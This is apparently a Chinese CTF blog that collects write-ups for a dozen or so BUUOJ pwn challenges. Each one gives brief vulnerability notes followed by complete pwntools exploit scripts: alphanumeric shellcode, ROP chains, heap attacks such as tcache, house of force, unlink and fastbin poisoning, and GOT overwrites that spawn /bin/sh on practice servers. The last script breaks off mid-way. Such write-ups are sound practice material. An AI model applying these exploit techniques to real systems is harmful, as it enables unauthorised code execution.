这个题是一个纯字符shellcode,需要使用工具:alpha3
安装:git clone https://github.com/TaQini/alpha3.git
使用先创建一个shellcode脚本

1
2
3
4
5
6
7
8
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
print sc
然后将输出导入到一个文件中:python sc.py > sc
再将文件传到alpha3文件中
然后通过命令:python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件"
就可以得到纯字符shellcode了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28178)

shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
p.send(shellcode)
p.interactive()

参考:http://taqini.space/2020/03/31/alpha-shellcode-gen/#AE64

starctf_2019_babyshell

这个题有一个shellcode的检查需要通过’\x00’绕过,即通过一个’\x00’开头的汇编指令就可以绕过了
有’\x00j\x00’,’\x00B3’,’\x00B\x22’,’\x00B\x00’,’\x00B’后面加上一个字符对应一个汇编语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29039)

shellcode='\x00J\x00'+asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

actf_2019_babyheap

一个tcache的简单题 + uaf,这个题开了got表的保护,题目中给了system以及bin_sh的地址(我没看到,直接先泄露再getshell)
allo中会先创建一个0x10的堆,前一部分存堆指针,后一部分存print函数的指针,思路是 把一个自动创建的0x10的堆的前一部分改成bin_ad,后一部分改成system,然后show就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29911)

def allo(size,content):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Please input size: ")
p.sendline(str(size))
p.recvuntil("Please input content: ")
p.send(content)

def free(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Please input list index: ")
p.sendline(str(index))

def show(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Please input list index: ")
p.sendline(str(index))

allo(0x10,"aaaa")#0
allo(0x10,"bbbb")#1

free(0)
free(1)

allo(0x20,"bbbb")#2
allo(0x10,p64(elf.got["puts"])+p64(0x40098a))#3

#gdb.attach(p)

show(0)
p.recvuntil("Content is '")
ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("ad: "+hex(ad))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
bin_ad=libc_base+libc.dump("str_bin_sh")
free(3)
free(2)
allo(0x10,p64(bin_ad)+p64(0x4007A0))
show(3)
p.interactive()

xman_2019_format

学到了学到了,堆上的格式化字符串漏洞,思路是劫持返回地址为system,一开始payload那里忘记加+=了,一直没打通,做这个题顺便知道了怎么一直爆破,学到了,这个题的payload只能输入一次,不过可以根据|多次执行,gdb调试中做题就两步,看图就能很明白了
第一步
avatar
结果
avatar

第二步改成system就可以了,只用改两个字节
exp

1
2
3
4
5
6
7
from pwn import *
while(1):
p=remote("node4.buuoj.cn",25314)
sys_ad=0x80485AB
payload="%"+str(0xac)+"c%10$hhn|"
payload+="%"+str(sys_ad&0xffff)+"c%18$hn"
p.send(payload)

强网杯2019 拟态 STKOF

第一次做拟态这种两个pwn文件的题目,学到了,静态编译,主要内容是ropchain
这个题中32位的偏移是0x110,而64位是0x118,在32位填充返回地址时,在64位填的是rbp,可以通过这一点
来调整32位的栈,于64位的栈分开将32位的栈太高,而64位正好可以正常执行,然后注意64位用寄存器传参,32位不破坏栈就可以了,shellcode部分可以用ropchain,不过要注意简化
应该还有别的做法,比如用mprotect
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding:utf8
from pwn import *

p = remote("node4.buuoj.cn","27820")
elf32 = ELF('./pwn')
elf64 = ELF('./pwn2')

#32 gadgets eax 0xb ebx bin_ad ecx 0 edx 0
add_esp=0x804933F #add esp, 7Ch pop ebx pop esi pop edi
# pop ebp
pop_eax=0x08055f54 # pop eax ; pop edx ; pop ebx ; ret
pop_ecx=0x0806e9f2 # pop ecx ; pop ebx ; ret
int_ad=0x080495a3 #0x80
bin_ad=0x080DA324

read32=elf32.sym["read"]
payload32=p32(read32)+p32(pop_eax)+p32(0)+p32(bin_ad)+p32(0x10)
payload32+=p32(pop_eax)+p32(0xb)+p32(0)+p32(bin_ad)+p32(pop_ecx)+p32(0)+p32(bin_ad)+p32(int_ad)

#64 gadget rax 59 rdi bin_ad rsi 0 rdx 0
pop_rax=0x000000000043b97c # pop rax ; ret
pop_rdi=0x00000000004005f6 # pop rdi ; ret
pop_rsi=0x000000000043d9f9 # pop rdx ; pop rsi ; ret
syscall=0x0000000000461645
bin_ad=0x0000000006A3300

read64=elf64.sym["read"]
payload64=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x10)+p64(bin_ad)+p64(read64)
payload64+=p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(bin_ad)+p64(pop_rsi)
payload64+=p64(0)+p64(0)+p64(syscall)

payload="a"*0x10c+"\x00"*4+p32(add_esp)+p32(0)
payload64=payload64.ljust(0x88,"\x00")
payload+=payload64
payload+=payload32

#gdb.attach(p)
p.sendafter("try to pwn it?",payload)
p.send("/bin/sh\x00")
p.interactive()

roarctf_2019_realloc_magic

关于realloc的用法

1
2
3
4
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free

关于本题中利用到realloc的相关知识
假设现在有三个被free的chunk,大小分别为0x60,0x80,0x100,此时先分配一个大小为0x60的chunk,realloc得到的地址就是被free的那个0x60的堆的地址,然后再realloc 一个0xe0的堆,此时得到的堆就包括了0x60和0x80这两个堆,就可以快乐的改
0x80的fd了(太非了1/16的概率跑了十几次)
_ 2_1_stdout的最后3位可以确定是0x760,还有一位就需要爆破了(IO流)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

#p=process("./roarctf_2019_realloc_magic")
libc=ELF("./libc-2.27.so")

def realloc(size,con):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size?")
p.sendline(str(size))
p.recvuntil("Content?\n")
p.send(con)

def free():
p.recvuntil(">> ")
p.sendline("2")

def pwn():
realloc(0x80,"a")
realloc(0,'')

realloc(0xa0,"b")
realloc(0,'')

realloc(0x90,"c")
realloc(0,'')

realloc(0xa0,"b")
[free() for i in range (7)]

realloc(0,'')

realloc(0x80,"a")

realloc(0x130,'q'*0x80+p64(0)+p64(0x51)+p8(0x60)+p8(0x57))
realloc(0,'')

#gdb.attach(p)

realloc(0xa0,'a')
realloc(0,'')

realloc(0xa0,p64(0xfbad1887)+p64(0)*3+p8(0x58))
libc_base=u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,"\x00"))-0x3e82a0
free_hook=libc_base+libc.sym["__free_hook"]
sys_ad=libc_base+libc.sym["system"]

#log.info("ad "+hex(libc_base))
#log.info("sys_ad: "+hex(sys_ad))
p.sendline("666")

realloc(0x150,'a')
realloc(0,'')

realloc(0x160,'b')
realloc(0,'')

realloc(0xc0,"b")
realloc(0,'')

realloc(0x160,'a')
[free() for i in range(7)]
realloc(0,'')

realloc(0x150,"c")

realloc(0x2c0,"a"*0x150+p64(0)+p64(0x21)+p64(free_hook-8))
realloc(0,'')

realloc(0x160,'a')
realloc(0,'')

realloc(0x160,"/bin/sh\x00"+p64(sys_ad))
free()

p.interactive()

while(1):
p=remote("node4.buuoj.cn",29806)
try:
pwn()
except:
p.close()

wustctf2020_easyfast

这个题思路很简单,只要把0x602090改为0就可以了,可以直接通过uaf和fastbinattack,在0x6020080处分配内存,但是这个地方理论上是分配不了的,因为大小为0x50,后一位是0,待解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28425)

def allo(size):
p.recvuntil("choice>\n")
p.sendline("1")
p.recvuntil("size>\n")
p.sendline(str(size))

def free(index):
p.recvuntil("choice>\n")
p.sendline("2")
p.recvuntil("index>\n")
p.sendline(str(index))

def edit(index,content):
p.recvuntil("choice>\n")
p.sendline("3")
p.recvuntil("index>\n")
p.sendline(str(index))
p.send(str(content))

#sys_ad=0x602090
sys_ad=0x4008A6
ad=0x602080
allo(0x40)#0
#allo(0x)
free(0)
edit(0,p64(ad))
allo(0x40)#1
allo(0x40)#2
edit(2,p64(0))

p.sendline("4")
p.interactive()

ciscn_2019_final_5

这个题有点东西,从下午写到晚上才写出来,主要是犯的错太多了,一开始交互又写错了,浪费了好多时间
这个题中索引堆块是通过heap_array中堆地址的最后一位,edit函数中size则是根据idx
主要漏洞点在于
malloc函数

1
2
3
4
5
6
7
8
if ( !result )
{
qword_6020E0[i] = v5;//v5=index | heap_ad 堆的起始地址位0x250 当index等于16的时候堆的地址,v5 = 0x260,可以伪造一个堆,再free,然后再得到这个堆改别的
//堆的fd,就可以分配到heap_array(0x6020e0)处,之后就可以随便做了,一开始我没分配到heap_array,做了好久也没做出来
result = i;
dword_602180[i] = v2;
break;
}

free函数

1
2
3
4
5
6
7
8
if ( result == v2 )
{
free((void *)(qword_6020E0[i] & 0xFFFFFFFFFFFFFFF0LL));
qword_6020E0[i] = 0LL;
dword_602180[i] = 0;
result = puts("free success.\n");
break;
}

思路:先分配一个0x10的堆,然后内容为伪造的堆块的内容,此时再分配一个大堆块(可以覆盖到heap_array的大小),然后free掉大的和伪造的,此时
再分配我们伪造的堆块的大小,就能得到伪造的堆块,此时再修改大堆块的fd为0x6020e0,后面的操作就比较常规了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p=remote("node4.buuoj.cn",28896)

elf = ELF("./pwn")
libc = ELF('./libc.so.6')

#context.log_level='debug'
def allo(idx,size,con):
p.recvuntil("your choice: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(con)

def free(idx):
p.recvuntil("your choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil("your choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(con)

allo(16,0x10,p64(0)+p64(0x51))
allo(1,0xc0,"aaaa")
free(0)
free(1)
allo(2,0x40,p64(0)+p64(0x41)+p64(0x6020e0))
allo(3,0xc0,"aaaa")
allo(4,0xc0,p64(elf.got["free"]&0xffffffffffffff10)+p64(elf.got["alarm"]|1)+p64(elf.got["atoi"])+p64(0)*17+p32(0x30)*8)

edit(0,p64(elf.plt["puts"])*2)
free(1)
ad=u64(p.recv(6).ljust(8,"\x00"))
log.info("ad: "+hex(ad))

libc_base=ad-libc.sym["alarm"]&0xffffffffffffff00
log.info("libc_base: "+hex(libc_base))


sys_ad=libc_base+libc.sym["system"]
log.info("sys_ad: "+hex(sys_ad))
edit(8,p64(sys_ad)*2)
#gdb.attach(p)
p.recvuntil("your choice: ")
p.sendline("/bin/sh\x00")
p.interactive()

wdb_2018_3rd_soEasy

一个简单的shellcode题,给了栈地址,直接ret过去就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27380)

p.recvuntil("gift->")
ad=int(p.recv(10),16)
log.info("ad: "+hex(ad))
payload=asm(shellcraft.sh())
payload=payload.ljust(0x48,"a")+"aaaa"+p64(ad)
p.recvuntil("do?\n")
#gdb.attach(p)
p.sendline(payload)
p.interactive()

bcloud_bctf_2016

32位,有栈保护,可以改got表,没pie,后面还有个一模一样的bctf2016_bcloud,直接一起交了
这个题最主要的漏洞点在于这两个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int sub_80487A1()
{
char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(s, 0, 0x50u);
puts("Input your name:");
sub_804868D((int)s, 64, 10);//这个函数中有个=0截断
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
strcpy(v2, s);
sub_8048779(v2);
return __readgsdword(0x14u) ^ v3;
}

这个函数中需要注意栈,s后面就是v2,我们在输入64个字符后,再创建的堆,又因为32位,在输出s的时候就可以泄露第一个堆的地址
第二个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_804884E()
{
char s[64]; // [esp+1Ch] [ebp-9Ch] BYREF
char *v2; // [esp+5Ch] [ebp-5Ch]
char v3[68]; // [esp+60h] [ebp-58h] BYREF
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(s, 0, 0x90u);
puts("Org:");
sub_804868D((int)s, 64, 10);
puts("Host:");
sub_804868D((int)v3, 64, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, v3);
strcpy(v2, s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

和第一个函数是一样的原理,v3可以覆盖top_chunk,之后就是比较常规的house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26064)

def allo(size,con):
p.recvuntil("option--->>\n")
p.sendline("1")
p.recvuntil(":\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.sendline(con)

def edit(idx,con):
p.recvuntil("option--->>\n")
p.sendline("3")
p.recvuntil(":\n")
p.sendline(str(idx))
p.recvuntil(":\n")
p.sendline(con)

def free(idx):
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil(":\n")
p.sendline(str(idx))
#a泄露libc
p.recvuntil("name:")
p.send("a"*64)
p.recvuntil("a"*64)
ad=u32(p.recv(4))
log.info("ad: "+hex(ad))
p.recvuntil("Org:")
p.send("a"*64)
p.recvuntil("Host:")
p.sendline(p32(0xffffffff))

#b house of force
top_chunk=ad+0xf8
offest=0x804B120-top_chunk-0x10
allo(8,"aaaa")
allo(8,"bbbb")
allo(offest,'')
allo(0x30,p32(elf.got["free"])+p32(elf.got["atoi"])+p32(elf.got["free"])+p32(elf.got["atoi"])+p32(elf.got["atoi"])+p32(elf.got["atoi"]))
edit(0,p32(elf.plt["puts"]))
#gdb.attach(p)
free(1)

ad=u32(p.recv(4))

libc=LibcSearcher("atoi",ad)
libc_base=ad-libc.dump("atoi")
sys_ad=libc_base=libc_base+libc.dump("system")

'''
libc_base=ad-libc.sym["atoi"]
sys_ad=libc_base+libc.sym["system"]
log.info("atoi_got: "+hex(elf.got["atoi"]))
log.info("sys_ad: "+hex(sys_ad))
'''
edit(3,p32(sys_ad))

p.sendline("/bin/sh\x00")
p.interactive()

hitcon_2018_children_tcache

这个题信息量有点大,保护全开,只有三个功能,allo,show,free,allo结束有个’\x00’,show使用的是puts,free
函数中会先将数据全部设置为垃圾数据,再free,allo中的off-by-null有点不好利用,不过也给了泄露libc的希望

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p=process("./HITCON_2018_children_tcache")
p=remote("node4.buuoj.cn",28119)

libc=ELF("./libc-2.27.so")

def allo(size,con):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(con)

def show(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(idx))

def free(idx):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(idx))

allo(0x410,'a')#0
allo(0xe8,'k')#1
allo(0x4f0,'y')#2
allo(0x60,'e')#3

free(0)
free(1)

#恢复堆2的presize部分为0x00,并且通过off-by-null将堆2的p_use位置为0
for i in range(0,6):
allo(0xe8-i,"k"*(0xe8-i))
free(0)

#修改堆2的presize为0x510
allo(0xe8,"a"*0xe0+p64(0x510))#0
free(2)

allo(0x410,"leak libc")#1这个地方感觉是触发unlink,由于堆2的pre_size为0x510,free(2)时,堆触发合并指向最开始处
#然后分配一个0x410的堆,此时由于先前unsorted的堆指针为main_arena+96,allo(0x410)后,main_arnea
#的地址就到堆0了,即0xe8那个堆,此时再free就可以了
show(0)
ad=u64(p.recv(6).ljust(8,"\x00"))-0x3ebca0

og=ad+0x4f322
free_hook=ad+libc.sym["__free_hook"]
log.info("libc_base: "+hex(ad))
log.info("og: "+hex(og))

#这题虽然没有uaf,但是还是可以double free,主要是利用unsorted此时指向0xe8那个堆,此时分配一个堆,
#堆的起始地址还是0xe8那个地址,但是bss段上还存有原来那个0xe8大小的堆的指针,这样就可以double free了
allo(0x60,"aaaa")#2

free(0)
free(2)

allo(0x60,p64(free_hook))#0
allo(0x60,p64(free_hook))#2
allo(0x60,p64(og))#4
free(0)

p.interactive()

suctf_2018_stack

ret2libc没什么东西,给了system函数直接跳到那里就可以了(需要考虑栈平衡,不能直接跳到0x400676)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
#libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28109)

payload="a"*0x20+p64(0x40068C)+p64(0x400677)
#gdb.attach(p)
p.send(payload)
p.interactive()

qctf2018_stack2

这个题挺坑的,他给的system(“/bin/bash”)用不了,并且ida的偏移与gdb上的不一样,思路是通过数组下标
越界劫持ret(我本地用ubuntu16,偏移一直不对,结果一用18就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#p = remote("node4.buuoj.cn",28526)
p = process("./stack2")
elf = ELF("./stack2")
context.log_level="debug"
#libc = ELF('./libc-2.23.so')

def edit(idx,num):
p.recvuntil("5. exit\n")
p.sendline("3")
p.recvuntil("which number to change:\n")
p.sendline(str(idx))
p.recvuntil("new number:\n")
p.sendline(str(num))

p.recvuntil("have:\n")
p.sendline("10")
p.sendline("255")
for i in range(9):
p.sendline("255")#这里是方便看地址用的

offest=0x84

edit(offest,0x50)#155
edit(offest+1,0x84)#133
edit(offest+2,4)#4
edit(offest+3,8)#8

offest+=8

edit(offest,135)
edit(offest+1,137)
edit(offest+2,4)
edit(offest+3,8)

p.recvuntil("5. exit\n")
p.sendline("5")

p.interactive()

lctf2016_pwn200

这个题挺好写的,有两种做法,一种是劫持返回地址或者got表,然后跳到shellcode,另一种是
house of spirit(一开始没注意sendline和send,一直错)
劫持返回地址的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p = remote("node4.buuoj.cn",27652)
#p = process("./pwn")
elf = ELF("./pwn")
#context.log_level="debug"
context.os="linux"
context.arch="amd64"

libc = ELF('./libc-2.23-64.so')
p.recvuntil("who are u?\n")
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode=shellcode.ljust(44,"b")

p.send(shellcode+"aaaa")
p.recvuntil("aaaa")
stack=u64(p.recv(6).ljust(8,"\x00"))
log.info("ad: "+hex(stack))

shell_ad=stack-0x2700
#gdb.attach(p)
p.recvuntil("give me your id ~~?\n")
p.sendline("0")

payload=p64(shell_ad)
payload+="a"*0x30+p64(stack+0x8)
p.sendafter("give me money~\n",payload)

p.recvuntil("choice :")
p.sendline("3")
p.interactive()

house of spirit的做法
代补充

jarvisoj_level6_x64

这个题没开Full RELRO,再malloc函数中结尾处未加上\x00(一般题目中都用),这代表,可以先将chunk free到unsortbin中,然后修改它的fd,此时再show就能泄露出libc或者堆地址,
malloc函数中大小设置为128 - v3 % 128) % 128 + v3,因此,分配得到的chunk 再free都属于small chunk
或者large bin,free函数中存在uaf(没把堆指针置0),通过这一点可以利用堆的合并,将先前创建的堆
全都free掉,再relloc一个大小比前三个堆大小和起来大的堆,此时就能伪造堆,然后执行unlink操作
(不知道为什么,我本地打不通,远程通了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
p = remote("node4.buuoj.cn",27658)
#p = process("./pwn")
elf = ELF("./pwn")
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
libc = ELF('./libc-2.23-64.so')

def show():
p.recvuntil("Your choice: ")
p.sendline("1")

def allo(size,con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil(": ")
p.sendline(str(size))
p.recvuntil(": ")
p.sendline(con)

def edit(idx,size,con):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil(": ")
p.sendline(str(idx))
p.recvuntil(": ")
p.sendline(str(size))
p.recvuntil("Enter your note: ")
p.send(con)

def free(idx):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil(": ")
p.sendline(str(idx))

allo(0x80,"a"*0x80)
allo(0x80,"b"*0x80)
allo(0x80,"c"*0x80)
allo(0x80,"d"*0x80)

free(0)
free(2)
allo(8,"q"*8)
allo(8,"f"*8)
show()
print p.recv()

p.recvuntil("q"*8)

ad=u32(p.recv(4))

p.recvuntil("f"*8)
main_arena=u64(p.recv(6).ljust(8,"\x00"))
log.info("heap_ad: "+hex(ad))

log.info("main_arena: "+hex(main_arena))
malloc_hook=main_arena-0x68
libc_base=malloc_hook-libc.sym["__malloc_hook"]
sys_ad=libc_base+libc.sym["system"]
log.info("libc_base: "+hex(libc_base))

heap=ad-0x1930
fd=heap+0x20-0x18
bk=heap+0x20-0x10
free(3)
free(2)
free(1)
free(0)


payload=p64(0)+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60+p64(0x80)+p64(0x90)+"a"*0x80+p64(0)+p64(0x91)+"a"*0x80

allo(len(payload),payload)

free(1)
payload1=p64(8)+p64(1)+p64(8)+p64(elf.got["atoi"])
payload1=payload1.ljust(len(payload),"a")
edit(0,len(payload),payload1)

payload=p64(sys_ad)
edit(0,len(payload),p64(sys_ad))
p.recvuntil("Your choice: ")
p.sendline("/bin/sh\x00")

p.interactive()

zctf_2016_note3

没有show功能(无效),大概能猜到是改free的got表为puts_plt,泄露libc
这个题主要的漏洞就是size为0的时候,0-1转化成无符号整数,产生溢出,知道这一点后,在bss段上有个0x000000000000007f,可以伪造fastbin,分配到这里就好说了,思路是先分配几个0x68大小的bin,free后,
利用size为0的chunk,修改fd为0x6028ad处,此时再直接修改堆指针为got,就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
p = remote("node4.buuoj.cn",29616)
#p = process("./pwn")
elf = ELF("./pwn")
context.log_level="debug"
context.os="linux"
context.arch="amd64"
libc = ELF('./libc-2.23-64.so')

def allo(size,con):
p.recvuntil("option--->>\n")
p.sendline("1")
p.recvuntil("content:(less than 1024)\n")
p.sendline(str(size))
p.recvuntil("Input the note content:\n")
p.sendline(con)

def edit(idx,con):
p.recvuntil("option--->>\n")
p.sendline("3")
p.recvuntil("Input the id of the note:")
p.sendline(str(idx))
p.recvuntil("Input the new content:")
p.sendline(con)

def free(idx):
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil("Input the id of the note:")
p.sendline(str(idx))

ad=0x6020ad

allo(0x10,"a"*0x28)

allo(0x68,"a"*0x68)

allo(0x68,"bbbb")
free(0)
free(1)
allo(0,"a"*0x18+p64(0x71)+p64(ad)+p64(0))

payload="a"*3+p64(0)+p64(elf.got["free"])+p64(elf.got["atoi"])*2
allo(0x68,"aaaa")
allo(0x68,payload)
edit(0,p8(0x30)+p8(0x7)+p8(0x40)+p8(0)*2)

free(1)
p.recvline()
ad=u64(p.recv(6).ljust(8,"\x00"))

libc_base=ad-libc.sym["atoi"]
log.info("libc_base: "+hex(libc_base))
sys_ad=libc_base+libc.sym["system"]
edit(2,p64(sys_ad))
p.sendline("/bin/sh\x00")

p.interactive()

gyctf_2020_document

这个题开了full relro,漏洞点是uaf,allo函数固定分配一个0x20和0x80的堆,这个题的思路是
allo两个堆,然后free第一个此时chunk中的内容就是main_arnea,然后show就可以泄露libc(不知道为什么,
打远程的时候有几次泄露地址是错的没打通),然后最重要的来了,因为这个题edit只能修改fd+0x10处,
就没办法直接修改fd,不过因为我们之前free了一个0x80的堆,而这个堆就放在unsortedbin中,此时再分配
内存,就会从unsorted中切下来,此时再通过uaf,修改某个0x20的堆的指针,就差不多了(堆风水)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
p = remote("node4.buuoj.cn",29602)
#p = process("./pwn")
elf = ELF("./pwn")
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
libc = ELF('./libc-2.23-64.so')

def allo(con):
p.recvuntil("Give me your choice :")
p.sendline("1")
p.recvuntil("input name")
p.sendline("/bin/sh\x00")
p.recvuntil("input sex")
p.sendline("W")
p.recvuntil("input information")
p.send(con)

def show(idx):
p.recvuntil("Give me your choice :")
p.sendline("2")
p.recvuntil("Give me your index :")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil("Give me your choice :")
p.sendline("3")
p.recvuntil("Give me your index :")
p.sendline(str(idx))
p.recvuntil("Are you sure change sex?")
p.sendline("1")
p.recvuntil("Now change information")
p.send(con)

def free(idx):
p.recvuntil("Give me your choice :")
p.sendline("4")
p.recvuntil("Give me your index :")
p.sendline(str(idx))

allo("a"*112)#0
allo("b"*112)#1

free(0)
show(0)
p.recvline()
ad=u64(p.recv(6).ljust(8,"\x00"))

libc_base=ad-0x68-libc.sym["__malloc_hook"]
log.info("base: "+hex(libc_base))
#malloc_hook=libc_base+libc.sym["__malloc_hook"]
sys_ad=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]

log.info("free_hook: "+hex(free_hook))
log.info("sys_ad: "+hex(sys_ad))
payload=p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(1)
payload=payload.ljust(112,"a")

shell="/bin/sh\x00"
shell=shell.ljust(0x70,"\x00")
